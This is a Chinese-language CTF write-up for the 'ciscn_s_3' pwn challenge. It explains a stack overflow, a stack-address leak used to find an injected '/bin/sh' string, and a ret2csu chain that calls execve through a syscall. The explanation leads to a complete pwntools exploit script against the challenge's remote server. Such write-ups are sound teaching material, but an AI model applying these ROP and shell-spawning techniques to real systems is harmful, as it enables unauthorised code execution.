checksec出来是64位的题目,只开了栈不可执行
溢出发生在vuln这个地方,这里要说说系统调用和普通去调用的区别了
就是我们往常做的题目会发现看以前的汇编代码
push rbp
mov rbp rsp
sub rsp xxxx
这是以前我们函数调用的,这道题目并不是这样,所以下面我们覆盖返回地址也会不一样,我们覆盖的不再是ret addres 这个地方了,因为这里的rbp和rsp是永远相等的,ret 的作用又相当于pop rip所以往rbp的地方覆盖就完成了溢出。然后接下来他开辟这个栈然后就系统调用了
然后说说系统调用
32位中execve是11
然后再看看read 和write 这两个函数。
所以这里溢出就是read和write共同作用,read读入0x10后就发生溢出,write函数先将0x10的输入数据打印出来然后打印出栈上的地址,然后这道题目没有system 和binsh,这道题目还有个gadget函数
这是调用execve函数
所以主线很明显了我们只要完成execve(“binsh”,0,0)就好了
然后需要我们ROPgadget
好了,破案了csu题
这里问题又来了,没有binsh啊,所以要我们自己输入
这里就很考验大家的gdp调试了。
输入字符串然后用search 或者find 找到字符串的地址,因为write会打印后面栈上的地址,我们只要知道偏移以后就能一直知道binsh的地址。
打印出这些地址,然后我们用0xdea8 - 0xdd90 = 280 然后就知道了栈偏移
然后就是csu的事情了
from pwn import *
from LibcSearcher import*
context(log_level = 'debug')
#io = process("ciscn_s_3")
io = remote("node4.buuoj.cn",29021)
#context.arch = "amd64"
elf = ELF('ciscn_s_3')
#offest = 0x2c
main_addr =0x0004004ED
libc_start = 0x0000000000400580
libc_end = 0x0040059A
pop_rax_addr =0x00000000004004E2
pop_rdi_addr =0x00000000004005a3
syscall_addr =0x400501
payload = '/bin/sh\x00' + 'A' * 0x8 + p64(main_addr)
io.sendline(payload)
io.recv(0x20)
sh_addr = u64(io.recv(8))-0x118
log.success('sh_addr ==>'+hex(sh_addr))
payload1 = b"/bin/sh\x00"*2 + p64(libc_end)
payload1 +=p64(0)+p64(0)+p64(sh_addr+0x50)+p64(0)*3+p64(libc_start)+p64(pop_rax_addr)
payload1 +=p64(pop_rdi_addr)+p64(sh_addr)+p64(syscall_addr)
io.sendline(payload1)
io.interactive()
b”/bin/sh\x00”*2这里就是0x10个字节,然后为什么要两个p64(0)呢?这里又和普通csu不大一样,我们先讲讲sh_addr+0x50这里是栈上的地址,想想看整个完整的payload在栈上的排列。然后说rbx当rbx=0时就可以执行r12,然后r12里放的是啥是我们布置的mov rax 59 .到此,整个流程的细节和坑都讲完了,这道题目真的蛮好,挺考验基础知识掌握咋样,我写这个题解写了不少时间,做这道题目花了更久的时间,反正蛮好的,加上前几天一直有社会实践没多少时间写题目,反正继续加油吧。